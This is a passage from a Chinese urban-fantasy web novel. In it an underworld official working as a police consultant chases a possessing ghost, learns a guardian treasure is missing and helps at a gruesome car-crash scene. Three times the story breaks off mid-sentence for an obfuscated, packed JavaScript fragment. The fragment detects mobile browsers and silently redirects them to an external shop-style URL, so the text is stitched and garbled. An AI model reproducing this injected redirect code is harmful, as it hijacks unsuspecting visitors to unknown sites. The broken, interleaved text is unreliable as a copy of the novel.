“张警官!过来帮忙!”金楼外,赵凭跃挥手示意。 “好嘞!” 三楼,贪财鬼站直了身,与凌初平静地对视。 “凌初大人,别来无恙。”他用一种很熟稔的语气说。 凌初浑身一凛,暗中催动寻鬼镯,戒备道:“阁下认识我?” 那贪财鬼“呵呵”一笑,“大人真是贵人多忘事。百年前,你我同在十八层地狱,大人还抢过我钱财呢!” “……是嘛?我不记得了。”凌初随口答,紧接着快步上前,闪到贪财鬼面前,五指作爪,直奔他天灵盖。 “呵!”贪财鬼轻笑,双手握拳,挡住凌初攻势,对她说:“大人,同样的招数,我可不会上第二次当!” “砰!”凌初没说话,手上动作刚被挡下,她立刻抬腿,猛地踢向对方。 贪财鬼似乎早有预料,旋身躲过这一脚。身后玻璃柜台被凌初一脚踢裂,却没碎,只有几块玻璃碴子溅出来。 凌初踢了个空,极为不爽地盯着贪财鬼,可恶! “噔噔噔”楼梯传来脚步声,凌初与贪财鬼同时望向楼梯口。 不是跟张小曈说了,别让其他人上来!哪个过来找死? 凌初正准备开口喷人,一瞧见陈遇的脸,瞬间哑火。开玩笑,这可是顶头上司,谁敢喷他? 不对,缚鬼阵! “陈遇!别过来!”凌初脸色大变,立刻冲来人喊道。 可为时已晚,贪财鬼手指微动,角落里的金佛悠悠浮起,他手又一挥,金佛裹挟着一股劲力,直冲陈遇面门而去。 这要是撞上,不死也得半残。 凌初眼都瞪大了,什么情况?他怎么能使用术法?不是说恶鬼附身活人后都会受到阴阳规则的限制,不能使用鬼修术法吗? 贪财鬼怎么可以? 当务之急不是思考的时候,金佛已经来到陈遇面前了! 凌初顾不上想太多,抓起身边柜台上摆放的东西,用了十分力朝金佛砸过去! 只听“啪”一声,缚鬼阵破,陈遇一脚踩在三楼地板上。 “砰”的一声,金佛与一堆不知名的金饰相撞,方向一歪,堪堪擦过陈遇的脸,顺着楼梯“咕噜咕噜”滚下去。 “凌初大人,后会有期。”贪财鬼笑着拱手,而后快走几步,顺着金楼戏台另一侧跃出,急速坠落! 凌初想要再施法阻拦已经来不及了。 戏台这侧挨着其他店铺,高高矮矮的错落有致,贪财鬼直接左摔一下、右摔一下地砸到地上,晕了过去。 一名警察围过来,伸手探他鼻息,几秒后抬头:“陈队,人没死,只是晕了。” 陈遇站在戏台边,松了口气。 凌初则盯着远处的虚影,看他露出得意的笑容,之后蓦地消散。他这可不是魂飞魄散,而是弃身逃了! 凌初觉得贪财鬼这个笑容里满是对自己的讥讽与嘲弄,气得脸都比平时红了几分。她咬牙切齿地看向陈遇,“碍事的家伙!” 正想过去问凌初有无受伤的陈遇,闻言懵了一瞬,刚要说些什么,结果凌初头也不回地走了,踩得楼梯“嘎嘎”作响。 “……”我怎么惹她了?陈遇觉得莫名其妙。 犯罪嫌疑人被送往医院,赵凭跃和张小曈负责善后。 陈遇下楼后没看到人影,问:“小曈,凌初人呢?” 张小曈回想起凌初可怕的神情,一个激灵,缩了缩脖子才回:“她说心情不好,去散散心。” “去哪儿? 张小曈摇头,心道:我怎么知道凌初姐会去哪里?她心情那么差,刚才楼上一定发生了什么!但她也不敢直接问自家队长。 因为,在她摇头后,陈遇的脸色也肉眼可见的黑了。 “无组织无纪律!”陈遇说完就出去打电话了,抓捕行动已经结束,他需要跟领导汇报情况。 “魏局,情况是这样的……” …… 凌初确实非常生气,费了半天功夫,结果功亏一篑! 但她也没有去散心,当下最要紧的,是弄清楚贪财鬼为什么在附身后还能动用鬼修术法。 这对阴司来说,可不是个好消息。 她必须回阴司一趟,找崔判问清楚。 …… 阳世活人众多,政府管理机构纷繁复杂,阴间也不遑多让。 幽冥界主神为后土娘娘,下有东岳大帝、酆都大帝、地藏王菩萨,另有五方鬼帝予以协助。 而凌初所在阴司,全称“东岳阴司”,乃东岳大帝所辖。但东岳大帝另有山神之责,掌山川河流。是故,阴司诸事,均交由十殿阎罗。 十殿阎罗虽统辖阴司全域,但并非直接处理各类事务,而是通过各地城隍,逐级上报,只有大事要事才会呈递至十殿阎罗的案头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924178|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十殿阎罗之下,便是轮回、判官、阴曹三司,分掌不同职责。 活人最常说的勾魂索命,而是十大阴帅的职责,最出名的,便是黑白无常和牛头马面了。 阳世道路四通八达,阴间亦是如此。现下,凌初想要以最快的速度回到阴司,便是通过此地城隍。 凭借阴司诸鬼之间的特殊牵引,凌初很快就找到了新城的城隍庙。 已是深夜,城隍庙大门关着,四下无人。但只是没有活人,鬼魂嘛,多的是。 凌初径直穿门而过,没引起太大动静。 她想了想,也是,最近阴司派出抓鬼的阴差很多,他们估计见怪不怪了。 凌初随便找了一个鬼卒,问:“去阴司最近的路是哪条?” 那鬼卒一闻她气息,便知这位是中央的领导。客客气气将她带到某个布满刻痕的阵法处,他指了指其中一条刻痕,谄媚道:“大人,就是这条。” “多谢。”凌初拱手道谢,踏入阵法,刺眼的白光一阵闪烁后,她已经走在前往阴司的道路上了。 一刻钟后,已至东岳阴司。 守门的鬼卒见她,行了一礼,“凌初大人。” “免了免了!崔判可在?” “在。” “知道了。”凌初说完便风风火火往阴律司赶。 阴律司,崔珏正伏案撰写公文,便见一道鬼影,以极快的速度袭来。 何人擅闯我阴律司?刚要开口怒斥,崔珏认出了这鬼影,这家伙怎么回来了? “崔判,敢问阳世附身恶鬼,为何能使阴司术法?”凌初冷不丁丢出一个炸雷。 崔珏霍然站起,“什么意思?” 施法幻化出一张椅子,凌初毫不客气在阴律司大殿中坐下,翘起二郎腿不紧不慢道:“意思就是,我在阳世捉拿恶鬼的时候,遇到了一只贪财鬼,它附身活人后,竟然还能隔空取物!” 崔珏没有说话,脸色已然铁青。 偏偏凌初就像没看见他脸色似的,继续蹬鼻子上脸,“崔判,不是我说,阴司也真是一年不如一年了,连镇压的恶鬼都能逃脱?照这样下去,还叫什么‘东岳阴司’,干脆直接改名叫‘酆都’吧。” 幽冥界各方势力交错,明面上井水不犯河水,私下里经常出现抢夺地盘的冲突。这“酆都”便是酆都大帝所辖区域的名称。凌初这句话的意思是,既然东岳阴司办事不力,不如将地盘给酆都大帝管。 这可是明晃晃的挑衅! 崔珏脸已经黑的要滴出墨水了,凌初却还在喋喋不休,继续数落着阴司的鬼和物。 “十殿阎罗分掌十八层地狱,素来各司其职,相安无事。我记得这次动乱是阎罗殿最先发现了异常,那其他九殿呢……所以,崔判,十八层地狱到底发生了何事?”凌初仰头,紧盯不远处高坐于书案后的崔珏,眼神犀利。 崔珏平静坦然接受凌初质疑的目光,缓缓道:“凌初,阴阳界则丢了。” “……什么东西丢了?”凌初没听懂,反问崔珏。 崔珏一顿,接着冷冷开口:“不学无术!”真不知道这家伙在阴司二百多年都干了什么!竟然连阴阳界则都不知道? 凌初倒是罕见的没有顶嘴,默默忍了崔珏的四字评价,站起来朝崔珏拱了拱手,虚心道:“请崔判为我解惑。” 8. 善言 “请崔判为我解惑。” “混沌之初,阴阳未分。远古之神——盘古苏醒,拿一把神斧劈开混沌,而后阳清为天,阴浊为地。为了防止天地复合,盘古大神头顶天,脚立地,苦苦支撑,最终力竭而死,身体化为日月星辰、山川河流。 后来女娲造人,此方世界有了万物生灵。生灵寿数有限,便出现死亡,身死而魂不灭。后土娘娘聚阴而生,利用神斧的碎片,炼制阴阳界则,幽冥界由此诞生,之后才有各方鬼神,协助管辖幽冥。 一言以蔽之,这阴阳界则乃是区分阳世与阴间的至宝。它丢了,阴阳二界界限不明,所以贪财鬼才能够使用术法。” “这跟十八层地狱又有什么关系?”凌初问。 “阴阳界则就在十八层地狱最深处,由十殿阎罗层层镇守。” 凌初忍不住翻了个白眼,张嘴吐槽:“十殿阎罗镇守有什么用?宝贝不还是丢了?” 崔珏:“……” 真他娘的想把这丫头嘴给缝上!省得再憋出什么大逆不道的话来!崔珏心头满口脏话,深吸了口气,最终也没有说出来。 凌初抬手收了椅子,“崔判,阴阳界则丢了这件事,还有谁知道?你们打算怎么找回来?” “判官司以上各处鬼神及十大阴帅鬼差首领,均已知晓。幽冥鬼神公务缠身,不得擅离,目前只能依靠拘魂使探查消息。” “哦。现在还多了一个我,是吧?” 崔珏无言点头。 “行,那我这算是,又给自己揽了一个活呗!” 崔珏面带欣慰,很好,挺有自知之明。 “明白。”凌初问清楚缘由,转身准备离开,即将走出殿门时,慢条斯理道:“崔判,我有个要求。” “说。” “这活得加钱!” “……滚——” 凌初麻溜离开了阴司,回到新城城隍庙时,天还未亮。 早上八点半,凌初准时到达红旗分局。 刚进门,只见一位身形板正的青年背对着她,正在滔滔不绝地讲话。 有人见她进门,“凌顾问,来了啊。” “嗯。” 那青年闻言转身,人未至声先到,“凌顾问你好,我是新来的警察,李善言,木子李,善良的善,言……”等他转过身,看到凌初后脸色突然一变,后半句自我介绍卡壳了,“咚”的一声,直挺挺跪地。 办公室所有人都沉默了。 新来的这是搞哪一出? 霍熹从门外进来,看见此情此景,面露疑惑:“现在求婚都兴双膝跪地了?” 众人:“……” 不愧是你,霍大法医。 凌初却是一脸若有所思,眯了眯眼,他身上有熟悉的气息,吃阴间饭的? 对面李善言已经迅速反应过来,不负“善言”二字,站起来勉强微笑:“跟凌顾问开个玩笑,刚算是给您拜个早年啦。” 开什么玩笑,公安局怎么有阴差?! 其他人:呵呵,这玩笑真冷。 二楼陈遇不知看了多久,这才道:“人齐了?上楼开会。” “是!” 会议室里,陈遇打开电脑和投影仪,PPT投映后,开屏就是白底红字,“全市关于新城市庙会安保活动的工作安排——新城市市委、市政府、新城市公安局”几个大字首当其冲,主题鲜明。 陈遇翻了一页PPT,本来想直接说工作安排,又想到局里来了新人,而且都是外地的,便简短介绍了下:“新城市庙会指的是城隍庙门口那条街,已经有一百多年的历史了,每年都会吸引数万游客观赏。 届时那条街道人流量剧增,容易发生各种事故,因此,每年庙会举办前,全市都会抽调公安、消防、医疗等人力来保障庙会平稳、安全举办,下面来讲我们分局对这次庙会的安排……” 凌初面上听得很认真,其实早已魂游天外,她在想关于阴阳界则的事情。 阴阳界则具体长什么样子、有什么特征、怎么寻找这些崔判都没有说,人间这么大,岂不是大海捞针?这得找到猴年马月去? 不行,她得好好想个办法。 对面的李善言看凌初一会儿皱眉,一会儿叹气,一会儿露出迷之微笑,简直坐立难安,苍天呐,谁来告诉他地府阴差怎么会出现在公安局啊?!有人要死了吗?不会是我吧? “……好,安排就是这样,到时候我们编组,每组两人,分别负责一块区域。”陈遇说完了,坐下来喝了口水,目光在凌初与李善言之间逡回,“新同事们做个介绍吧,互相认识一下。” 没人开口。 张小曈用手肘捣捣李善言,眼神示意。 “……”李善言犹犹豫豫站起来,调整好表情,“大家好,我是李善言,毕业于刑警学院,是今年刚入职的新人。木子李,善良的善,言谈举止的言,大家以后喊我小李或者善言都行。” 他说完后,众人鼓掌欢迎。 凌初忍不住勾起嘴角,生出了点儿坏心思,径直施了个术法,用只有两人能听见的声音道:“李善言,好名字啊。善言善言,当心言多必失哦。” 李善言的嘴角凝住,笑容僵在脸上,这是赤裸裸的威胁!恫吓!他要找局座!他要告领导! 掌声稍歇,凌初这才起身,“凌初,红旗分局特聘顾问。” 她说完后,陈遇补充,“还有一位新同事,胜利路派出所赵凭跃同志调到我们分局了,手续大概得两天走完。小曈,给他们安排下位子。” “是。” “散会!” 也不知张小曈是有意还是无意,直接将凌初的座位安排在陈遇办公室附近,只要办公室门开着,陈遇抬头就能看见凌初。 更惨是李善言,他低声下气求了张小曈许久,拜托她不要把自己的位置安排在凌初旁边,甚至主动“贿赂”——给张小曈带一周早饭,张小曈同意了。 李善言松口气,放心去了厕所,结果回来的时候看到凌初坐在他斜对面的位置,正冲他得意地挑眉。 “……”他和凌初之间只有个30厘米高的塑料挡板,这跟裸奔有什么区别? 他震惊,他愤怒,他委屈。 “亲爱的小曈师姐,请问我位子为什么跟凌顾问这么近呢?”他低声问旁边的张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924179|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小曈。 张小曈答:“又没挨着,不算旁边。我们一般说‘旁边’,都是前后左右,凌初姐位子又没在你前后左右。” 李善言简直要抓狂,“可她就在我斜对面啊!!!” “根据三角形定律,斜边最长。所以,你们位置并不近。”张小曈一手抱着电脑,一手拿笔,瞟了一眼他,“难不成你想赖账?” 李善言后退一步,紧张地汗毛都立了起来,连连摆手,“没有没有,一周的早饭。君子一言,驷马难追!” 讲真,他很怕一旦赖账,张小曈那根铅笔直接扎他脖子上! 刑警学院上一届著名的暴力萌妹,果然名不虚传。 李善言顿觉自己职业生涯未来一片黑暗。 严厉的上司!神秘的阴差!还有暴躁的师姐! 仔细想来,也就刚刚在门口见到的清冷法医姐姐让他见到了一丝光亮。 一个小时后,连最后这丝光亮也熄灭了。 …… 半小时前,霍熹接到交警大队林国庆的电话,语气闲适,“怎么了?林大队。” “平原路与新一街交叉口发生交通事故,五车连环撞击,当场死亡2人,7人受伤,已经送往医院了。现在需要你带人过来勘验现场,顺便把死者带回局里。”林国庆心情沉痛,这一起事故,至少两个家庭即将支离破碎。 “……好。” 霍熹穿上白大褂,喊上法医室另外两人,“吴优、胡扬,出现场!” 一男一女同时答:“好的,老大!” 三个人加上司机,一共两辆车,迅速到达现场。 现场光警车就停了七八辆,道路两侧挤满了人,警察拉了长长的警戒线,足足有数十米。 “禁止拍照。” “事故发生现场,请尽快离开,不要影响警方工作。” “……” 在场交警兵分好几路,一部分负责疏导围观群众;一部分负责勘验现场;一部分负责对接记者、保险公司、医疗人员…… 有家属闻讯赶来,见到现场直接瘫坐到地上,号啕大哭,有交警赶忙前去搀扶、安慰,乱作一团。 林国庆的手机铃声就没停过,刚给分局汇报过现场情况,市局的电话又打进来,忙得焦头烂额! “林队长,死者呢?”霍熹快步走到林国庆面前。 林国庆唾沫横飞,嘴都起了泡,“领导,我明白,一定尽快出具事故调查报告……是是是,我知道影响十分严重,理解理解”然后捂住听筒,嘴巴努努,示意身边的愣头青,“小李,带霍法医去。” “是。霍法医,这边。”小李忙不迭带路,霍熹三人带上工具紧随其后。 几人来到损毁最严重的一辆车前,车辆大幅度变形,司机以一个极其扭曲、超越人体极限的姿势蜷缩在驾驶位前,鲜血从他口鼻汩汩流出,身上多处挫伤,已经死的不能再死了。 “另一个死者呢?”霍熹问。 小李脸色十分难看,指着前面两辆车的底盘,艰难开口:“在下面。” “靠!”霍熹忍不住开口骂娘。 这不得变成渣啊! 9. 倒霉鬼 因为这位“人渣”死者,霍熹三人的工作量及难度直接以指数级攀升。 光凭他们三个人,一个通宵绝对写不出来事故认定报告,很好,到刑警大队出力的时候了。 陈遇会议刚结束就接到了霍熹的电话,“陈队,给我派几个人过来呗?” 二人搭档已久,陈遇一听就知道霍熹的意思了,“什么情况?” “人被卷进了底盘,估计已经成渣了,我们法医室三个人今晚要“拼图”,人手不够。”霍熹语气是死一般的平静,一点也不觉得自己说出了什么恐怖的话! 陈遇还想再争取,“要不然我自己去吧?” “想死就直接说,这不是一个人干的活儿。”霍熹已经有点上头了,“依我看,就那俩新人吧,还有胜利路派出所那个,一块叫来。” “凌初和李善言吗?”陈遇怀疑自己耳朵出了问题,不可置信地问:“他们刚来就出这种现场,不太好吧?” “哪点不好?当警察就要有觉悟,顾问也得有觉悟,就这样,挂了!” 陈遇:“……”得,这大姐一定是在报复我上次把她吵醒的事情! 他先给赵凭跃打了电话,然后喊了声,“凌顾问、李善言,跟我出现场。” 两人跟上陈遇。 张小曈已经看到了新闻报道,“本台报道:新城市平原路与新一街交叉口发生连环车辆撞击事故,2人当场死亡……” 她在视频中看到隔壁熟悉的交警大队队长林国庆,瞬间明白了队长要带凌初和李善言出的现场就是那里。 至于谁叫过去的,根本就不用猜,只有那一个人能干出这种事儿。 说起来都是一把辛酸泪。 当年,她刚入职就被霍熹拉着在解剖室待了一天,眼睁睁看她完成了一具高腐尸体的解剖,那场面直到现在回想起来还心有余悸。 张小曈在心中默默为两人点了蜡,祝好!凌初姐,师弟。 第一天报道就能跟刑警大队队长一起出现场,李善言兴奋得很,连对阴差的惧意都淡了几分。 陈遇开车,凌初坐在副驾驶,两人透过后视镜看到李善言紧张又兴奋的表情,对视一眼后默契地都没有说话,就让这傻小孩儿再高兴一会儿吧。 至于凌初为什么这么淡定,当然是因为她耳力极好,听到了陈遇和霍熹的通话。 黑色SUV一路狂飙,仅用了十五分钟就到达现场。 三人刚下车就闻到了弥漫在空气中的焦糊味儿、血腥味儿、汽油味儿,李善言的嘴角耷拉下来,眼眸中出现一丝犹豫与挣扎,他紧张地咽了下口水,“交、交通事故现场啊?!” 凌初倒是没多大反应,血腥场面她在阴司见得多了去了!这种,不值一提。 陈遇锁了车门,挥手,“走了!” 给警戒线把守的同事亮了证件,三人被放进现场。 与此同时,赵凭跃驾车从另一个方向驶来,在陈遇他们之后到达现场。 吴优看到陈遇后跑过来,隔着口罩瓮声瓮气道:“陈队,衣服、器具都在警车里,你们去拿了换上吧。” “好。” 李善言见她右手握铲,左手拿塑料盒,盒子里还有些红白相间的泥状物,一时没反应过来,冒着傻气问:“这是什么?” 吴优没好气道:“人体组织,赶快换了衣服过来帮忙!” “人、人体组织?!”李善言一懵,眉毛一皱,急忙用手捂住嘴,左顾右盼找了个角落,大吐特吐起来,“哕——” “你俩没事吧?”陈遇问眼前这二位。 赵凭跃答:“能接受,大学期间蹭过法医学的课。” “哦,恐怖片看多了,不要紧。”凌初随口胡诌。 行!看来这届新人比较强悍。 三人走到霍熹他们的警车前,打开后备箱,分别换好防护服,戴上口罩、帽子,拿着工具出发了。 驾驶室里的死者已经用裹尸袋装好,送到警车上了。 剩下的工作,是处理这位“人渣”死者。 两辆车的底盘已经被翻过来了,周围人已清场,只有法医室的三个人拿着工具走来走去。 凌初三人走近,只听见赵凭跃和陈遇“嘶”的抽气声,再一看死者,好家伙,五马分尸也不过如此了。 囫囵的残肢断臂已经被收到裹尸袋中了,车辆底盘剩下的都是衣物残片、人体组织,分不清部位,需要用铲子和刮刀一点点将其刮下来,带回局里“拼图”。 “头呢?”凌初看了一眼裹尸袋问。 “还没找见呢!”霍熹冷冷开口。 凌初走到另一辆车旁,装模作样地搜集人体组织,实际上皱眉看着身边不成人形的残魂。 她轻轻挥手,有一道无形的力量将魂魄聚拢起来,中年男人的形象逐渐显现出来。 “呜呜呜……无常同志,你可要为我做主啊,我、我就在路上好好走着,呜、呜……一没闯红灯二没逆行的,突然就被撞了,简直是飞来横祸啊……”男人痛哭流涕。 “……我不是无常,找错部门了。”凌初无奈地说,手上动作没停。 “呜呜……啊?不是说人死了就有无常来勾魂吗?而且你还穿着白衣!” “……这是你们阳世的防护服好不好!”这只倒霉鬼眼睛近视吧,这防护服哪一点跟白无常工作服长得像?“别哭了,再哭就投不了胎,直接魂飞魄散了。”凌初烦不胜烦,吓唬了一句。 倒霉鬼:“……”他瞬间闭嘴。 “乖,听话啊。”凌初很满意他的识时务,继续问:“你头在哪?知不知道?” “哦,那边。”中年男鬼指了指方向。 凌初朝那儿一看,沉默了,我该怎么提醒他呢? 主动发现跟被动发现,效果可能不太一样,凌初决定好人做到底。 她放下工具,“蹭蹭蹭”走到李善言跟前,低声说:“小道士,你这样可吃不了阴间饭。” 李善言原本已经快吐完了,结果凌初一过来,浓厚的血腥味又飘到鼻子里,“我、我没,哕——没、没想吃阴间饭,哕——” “哦。”看来是家学渊源。 凌初又走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924180|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他另一侧,说:“让让。” “……啊?”李善言没懂。 “让让。”凌初一屁股将他挤过去,然后扒开草丛,露出血肉模糊的一个头颅,她伸手抓住,故作欣喜道:“同志们,我找到头了!” 李善言早在凌初扒草时就看到一丛黑色毛发,当机立断往别处走了好几步,瞠目结舌看见凌初拿起死者头颅,没来及看清就跪趴在地上,“哕——” 陈遇:“……”有必要用这么开心的语气嘛? 赵凭跃:“……”凌顾问果然不是一般人! 吴优:“……”确认完毕,又是大佬一枚。 胡扬:“……6!” 霍熹惊喜抬头,立刻跑过去,从凌初手上接过头颅,“干得漂亮!凌顾问。” 无人在意角落里李善言的死活。 众人继续忙活。 那倒霉鬼整个鬼都不太好了,魂魄抖如筛糠。她她她她、她竟然是活人啊!那那那那、那怎么能看见我? 凌初轻笑一声,“别怕,接你的来了。” 中年男鬼昂起头,看到远处一黑一白的鬼影飘来,黑白长衫,分别带着高高的帽子,写“一见生财”和“天下太平”,对嘛,这才是我熟悉的黑白无常啊。 “凌初大人。”那黑白无常来到近处,没有理会鬼魂,先向凌初施了一礼。 “二位客气了,这倒霉鬼就麻烦你们带走了。”凌初胡乱拱了下手,可不能叫人发现端倪。 “职责所在。”白衣无常随手抛出勾魂索,自动绕上中年男鬼的手腕。 “哎,不对,还有一只鬼呢?”凌初记得有两名死者。 “大人莫急,看我将他捉来!”黑衣无常瞄准一个方向,丢出勾魂索,泛着青黑光泽的锁链无限延长,径直套中数十米外想要逃离的青年魂魄。 “收!”黑衣无常喝道。 “我我我,我不想去阴间啊,我才二十岁,我还没活够啊……”青年鬼挣扎着想要逃离,却被勾魂索越收越紧。 “尔等寿数已尽,当赴阴司,不得强留人间!”黑衣无常冷漠地回答。 “哼,亏我还觉得你们黑白无常是好鬼!谢必安、范无救,你们的故事都是骗人的!” 凌初:“……小兄弟,认错鬼了。” 黑白无常:“……吾等可不是谢爷与范爷,休得狂言。” 青年鬼傻了。 倒霉鬼也傻了。 白无常不叫谢必安?黑无常不是范无救?神话故事是骗人的? 凌初好心解释:“黑白无常只是阴司拘魂使的职位名称,谢爷和范爷是他们老大。” 青年鬼、中年男鬼:谢谢你,没用的知识又增加了呢。 “大人,吾等告辞。”二位无常带着鬼魂退下了。 “不!我不要去地府!我要还阳!我要看生死簿,我要……唔唔!”青年鬼叫嚣着,然后冷不丁被动消音。 应该是嘴被堵住了。 凌初都被气笑了,他以为他谁啊?生死簿是他想看就能看的吗? 电视剧看多了吧。 10. 坦白从宽,抗拒从严 红旗分局的人忙活了几个小时,终于把“人渣”收拾干净了,连午饭也没顾得上吃。 回到分局后,陈遇和赵凭跃去洗澡,吴优和胡扬去吃饭,霍熹带着李善言去法医室拿治疗胃酸的药。 至于凌初,开开心心去内勤那儿领见义勇为的奖金和锦旗了。 整整五千块人民币,凌初爱不释手地摸着崭新的毛爷爷,笑得眼睛都眯成了一条缝! 回办公室途中,正好遇见刚吃过药的李善言,刚想问他好点没,结果他见鬼似的扭头便跑。 “我有那么吓人吗?”凌初自言自语道。 “凌顾问,请等一下。”霍熹站在法医室门口喊她。 “怎么了,霍法医?” “你怎么知道头在那儿?” 凌初摸了摸鼻子,“这个嘛,闻到的啊。” 霍熹扫视她全身,眼中兴味十足,堪堪点评:“嗅觉灵敏,人形,胆子大,不错。” “谢谢。”这应该是在夸她吧? “真想看看你鼻子到底是什么构造,太神奇了。” 凌初懵了。 霍熹哈哈大笑,“别紧张,凌顾问,开个玩笑嘛!” “……”这笑话好冷哦。 凌初没说话,朝霍熹微微点头后便下楼了。 刚洗完澡下楼的陈遇和赵凭跃:“……” “陈队,霍法医一直都这样吗?”赵凭跃强装镇定,声音有些艰涩。 “活儿干多了,哪有不疯的?淡定。”陈遇施施然从另一侧楼梯下去,留下赵凭跃独自感悟。 …… 凌初回来时受到了张小曈的热烈欢迎,同时看了一眼瘫坐在椅子上生无可恋的李善言。 “亏你还是警院出来的,师弟——”张小曈阴阳怪气道。 “……”李善言闭着眼,一副虚弱的样子,没有搭话,爱咋咋吧,反正他今儿已经丢人丢大发了。 “凌初姐,这是你的新身份证和局里配备的工作手机、银行卡,部分联系人的号码我都帮你已经存好了,有需要可以联系。”张小曈双手奉上手机和身份证。 “谢谢。”凌初笑眯眯接过,坐到位子上捣鼓一会儿,将手机各项功能摸索得差不多了,恶趣味般地将陈遇的备注改成了“西施”。 没一会儿,陈遇走过来交给她一把钥匙,“凌顾问,局里提供住宿,就在后面家属院。这是给你申请的房间,3号楼1单元1801。” 凌初差点儿被这突如其来的幸福给砸晕了,哟,这公安局还给员工提供住宿啊!不错不错。 “谢谢陈队。”这声感谢是发自内心的,她在考虑是不是应该把陈遇备注改回来?以示尊重? 陈遇下一句话就彻底杜绝了凌初的想法,“凌顾问,下班之前,写份报告交给我。” “什么报告?” 陈遇神情十分严肃,“关于盗窃金饰的连环案件,你的想法很有帮助,我们抓住了犯罪嫌疑人。但是,犯罪嫌疑人醒来后,并不承认盗窃金饰,我们将监控录像给他看,他非说这人虽外表是他,但灵魂不是他,是有鬼附身到他身上。 他还说,他是个有骨气的,干过的事情一定会认,没干过的事儿打死也不认,就算是刑讯逼供也宁死不屈。我们请精神科医生给他看过,医生说不排除犯罪嫌疑人从高处坠落,存在脑部部分损伤导致失忆的可能性。 目前犯罪嫌疑人还在医院观察,因为他跳楼时在场人员只有你和我,所以我们需要写份报告,如实陈述案发现场情况,并且说明自己每一个举动的理由。” “……”好长的一段话,这应该是凌初与陈遇认识后他对自己说的最长的一段话。 这样说的话,恶鬼附身于活人,活人还存在自己意识?对她来说,是个新发现。 不过,为什么还要写报告???凌初还没开始写就已经感受到拿起纸笔的痛苦了,天杀的,在阴司写文书还不够,来到阳世还得写!!! 都怪你!!!凌初默默剜了陈遇一记眼刀。还改什么备注,就“西施”了!!! 陈遇:“……”我人还在这儿呢,你大可不必如此明目张胆。 陈遇没跟她一般见识,说清楚来龙去脉后便回了自己办公室苦思冥想,其实他也很烦写报告。 “小曈妹妹——”凌初故意掐着嗓子,用甜得要腻死人的语气朝向对面位置。 张小曈腾地站起来,胡乱抓了一把卫生纸,红着脸道:“我、我、我去厕所。”不是她不帮忙,实在是爱莫能助、有心无力啊。 凌初又把目标转向了李善言,还没来得及说话就被他一句“祖宗,您看我都这样了,您忍心吗?”语气半死不活,人也脸色苍白。 “……”凌初很想说忍心,但看他这副样子,终究没有再说些什么,咬着笔头,看着桌上空白信纸,深吸了一口气,开始动笔。 “尊敬的领导,作为现场人员……陈遇队长即将受到袭击,我迅速……”凌初写着报告,忽然被一连串的鬼哭狼嚎吓了一跳,“呲啦”一声,笔尖在白纸上拖出一道长长的痕迹,那声音还在继续:“嗷——来人呐!有没有人来救救鬼啊!你们公安局有脏东西啊!” 这是真“鬼”哭,不是活人。 凌初面无表情抬起头,手指微微用力,黑色签字笔“咔嚓”一声,从中间折断,桌面上有星星点点的墨水溅上。 对面丢魂儿似的李善言瞬间清醒,防备地看着凌初,谁又惹这位祖宗了? 凌初从隔壁张小曈位置上抽了几张纸,一点点把桌面擦干净,见李善言瞧她,指了指自己耳朵,问:“没听见?” “……听见什么?”李善言眨了眨无辜的大眼睛,眼神分外清澈,一副“完全不懂凌初在问什么”的样子。 行叭,这小道士确实学艺不精。 不对!他如果学艺不精的话,怎会对我如此敬畏?分明是知道我的身份!好哇,这活人都骗到“阴差”头上了! 凌初站起来,将纸巾团成一团,走了两步,丢进李善言身旁的垃圾桶中。然后双手搭上他的肩膀,浅笑开口:“小李同志,过来帮我个忙吧。” 背后传来一阵阵阴气,寒凉入骨,李善言身子都抖了起来,仰头与凌初对视,发出一声无意味的“嗯?”后,双肩蓦地一沉,随后两股巨力骤然压在肩膀上,痛!很痛!识时务者为俊杰,他强颜欢笑:“荣幸之至,凌顾问。” 肩膀一轻,凌初的手离开自己肩膀,李善言才缓缓吐出一口浊气,好险好险,小命差点就交待在这儿了! “跟我来。”凌初率先离开,李善言亦步亦趋跟上。 两人一前一后朝“鬼”哭的源头走去。 某一间讯问室内,一个虚无的鬼影急得团团转,“这是什么情况?究竟发生了什么事?我怎么出不去了?”它好不容易从阴司逃出来,禁了数百年的欲,憋得不行。急匆匆选了一人附身,结果还没来得及快活就被扫黄大队抓了。 抓也就抓了吧,本来它附身之人就是个惯犯,警察也都见怪不怪了。先把人关几天,再罚个款,写个保证也就放了。结果人是出去了,但“鬼”却死活出不去了! 不知道这房间被什么能人动了手脚,竟然可以困住阴司鬼魂? 真是倒了血霉! “噔噔噔”一阵脚步声由远及近,这鬼魂喜极而泣,大喊:“来人呐,我在这儿呢!快把我放出去啊!你们抓错鬼了!” 凌初:“……” 